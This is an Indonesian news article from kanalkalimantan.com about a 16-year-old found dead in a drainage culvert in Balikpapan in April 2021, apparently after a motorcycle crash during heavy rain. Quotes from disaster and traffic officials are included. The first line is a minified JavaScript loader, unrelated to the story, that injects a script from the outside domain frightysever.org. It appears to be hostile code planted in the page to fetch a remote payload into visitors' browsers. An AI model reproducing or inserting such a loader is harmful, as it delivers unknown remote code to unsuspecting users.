(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BALIKPAPAN – Seorang remaja berinisial HA (16) warga Kelurahan Damai, Balikpapan Kota ditemukan meninggal dunia di saluran air atau drainase yang berada di Jalan Siaga, Kelurahan DamaiBalikpapan Kota, Kota Balikpapan, Selasa (6/4/2021) dini hari.
Informasi yang dihimpun, jenazah korban ditemukan setelah pihak keluarga melakukan pencarian.
Korban sebelumnya meninggalkan rumah pada tanggal 1 April lalu. Keesokan harinya pada dini hari, korban hendak pulang melintasi lokasi. Saat itulah diduga terjadi kecelakaan hingga korban jatuh dan terseret air.
“Benar, tadi subuh ikut bantu evakuasi dengan relawan lain bersama pihak kepolisian. Korban meninggal di gorong-gorong,” ujar Kabid Kebencanaan dan Kedaruratan Badan Penanggungan Bencana dan Kebakaran Daerah (BPBD) Kota Balikpapan, Usman Ali kepada SuaraKaltim.id, Selasa (6/4/2021) sore.
Ditambahkannya, sebelum melakukan evakuasi, pihaknya mendapat informasi kalau korban hilang di lokasi.
“Waktu kecelakaan tidak ada yang tahu karena hujan dan banjir. Lokasi kejadian dekat kantor koperasi Inteldam. Saat petugas datang ke lokasi tidak ada orang dan hanya motor dan helem,” tambahnya.
Karena tidak ada korban di lokasi, petugas Inteldam pun mengamankan motor dan helem korban.
Hingga beberapa hari kemudian ada yang memosting di media sosial tentang kecelakaan di lokasi. Dalam postingan itu tampak motor korban.
“Setelah melihat postingan itu, keluarga korban mendatangi lokasi dan melihat bahwa itu motor korban. Lalu dilakukan pencarian dan ternyata benar,” tambah Ali.
Usai berhasil mengevakuasi jenazah korban, petugas pun selanjutnya membawa jenazah pelajar SMK itu ke Rumah Sakit Umum Daerah (RSUD) Kanudjoso Djatiwibowo Balikpapan guna keperluan visum.
Terpisah, Kasat Lantas Polresta Balikpapan Kompol Irawan ketika dikonfirmasi mengenai kejadian itu, mengaku pihaknya telah melakukan olah tempat kejadian perkara (TKP).
Di mana diketahui korban melintasi lokasi saat mengendarai sepeda motor jenis Honda Revo AG 4141 PBF dari arah Markoni menuju Jalan Al Makmur.
“Di lokasi terjadi out off control dan korban jatuh ke gorong-gorong,” ujar Irawan.
Ditambahkannya, di lokasi kejadian terdapat tikungan tajam. Ada drainase yang dialiri air deras saat hujan. Dan kejadian terjadi saat hujan deras sekira pukul 02.00 Wita.
Sementara saat disinggung soal penyebab pasti kematian korban, Irawan mengaku tidak tahu secara pasti lantaran pihak keluarga korban meminta tidak dilakukan otopsi. (suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Pendidikan Nasional (Hardiknas) dan Hari Otonomi Daerah ke-28 tahun 2024… Read More
This website uses cookies.